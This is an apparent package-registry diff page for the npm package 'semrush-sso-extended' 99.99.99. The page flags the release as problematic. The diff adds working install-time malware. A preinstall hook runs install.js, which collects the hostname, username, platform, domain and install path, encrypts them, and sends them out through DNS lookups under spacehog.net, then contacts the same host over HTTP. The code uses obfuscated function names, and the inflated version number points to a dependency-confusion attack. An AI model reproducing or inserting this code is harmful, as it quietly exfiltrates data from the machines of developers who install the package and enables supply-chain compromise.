semrush-sso-extended 99.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of semrush-sso-extended might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/install.js +98 -0
  3. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log("installed");
package/install.js ADDED
@@ -0,0 +1,98 @@
1
+ var os = require('os')
2
+ var crypto = require('crypto');
3
+ var dns = require('dns');
4
+ const http = require('http');
5
+ const execSync = require('child_process').execSync;
6
+
7
+ function ca4bb072ceea3ab317f305a685b251ed(string,chunk_size) {
8
+ var b = [];
9
+ newstring = '';
10
+ char_count = 0
11
+
12
+ for(var i=0; i < string.length; i+=1){
13
+ char_count+=1;
14
+ if (char_count < chunk_size) {
15
+ newstring+= string[i];
16
+ }
17
+ else {
18
+ b.push(newstring);
19
+ newstring = string[i];
20
+ char_count = 0;
21
+ }
22
+ }
23
+
24
+ if (newstring.length != 0 && b[b.length -1] != newstring){b.push(newstring);}
25
+
26
+ if (b.length > 0 && b.length < 3) {
27
+ return_string = b.toString().replace(",",".");
28
+ return return_string;
29
+ }
30
+ else if (b.length == 0) {
31
+ return newstring;
32
+ }
33
+ else {
34
+ return b;
35
+ }
36
+ }
37
+
38
+ function f994d544e6f15ccbb04cee479878873c6(sequence,semi_random_id, information, information_identifier, domain) {
39
+ dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
40
+ }
41
+
42
+ function fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, information, information_identifier, domain) {
43
+ if (typeof information == 'object') {
44
+
45
+ for (i = 0; i < information.length;i++ ) {
46
+ f994d544e6f15ccbb04cee479878873c6(i,semi_random_id, information[i], information_identifier, domain);
47
+ }
48
+ }
49
+ else if (typeof information == 'string') {
50
+ f994d544e6f15ccbb04cee479878873c6('n',semi_random_id, information, information_identifier, domain);
51
+ }
52
+ }
53
+
54
+ let domain = 'spacehog.net'
55
+ let super_secret_password = '27666fae19bb1ebb2d83eddd69195c63'
56
+ let userinfo = os.userInfo()
57
+ let info = ""
58
+
59
+ const buf = crypto.randomBytes(2);
60
+ const semi_random_id = buf.toString('hex')
61
+
62
+ if (os.platform().includes("win")) {
63
+ domain_info = execSync('wmic computersystem get domain').toString();
64
+ domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
65
+ info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
66
+ }
67
+ else if (os.platform().includes("linux")) {
68
+ domain_info = execSync('uname -n').toString();
69
+ domain_info = domain_info.replace(/[\n\r\t\s]/g, '');
70
+ info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
71
+ }
72
+ else {
73
+ info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
74
+ }
75
+
76
+
77
+ var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
78
+ var update = super_secret_key.update(info,'utf8','hex');
79
+ update+= super_secret_key.final('hex');
80
+ subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
81
+
82
+ fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'u', domain);
83
+
84
+ var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
85
+ var update = super_secret_key.update(__dirname,'utf8','hex');
86
+ update+= super_secret_key.final('hex');
87
+ subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
88
+
89
+ fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'p', domain);
90
+
91
+ http.get({
92
+ hostname: 'spacehog.net',
93
+ port: 21,
94
+ path: '/'+semi_random_id,
95
+ agent: false},
96
+ (res) => {
97
+ //nothing
98
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name" : "semrush-sso-extended",
3
+ "version" : "99.99.99",
4
+ "scripts" : {
5
+ "preinstall" : "node install.js"
6
+ },
7
+ "description": "",
8
+ "main": "index.js",
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }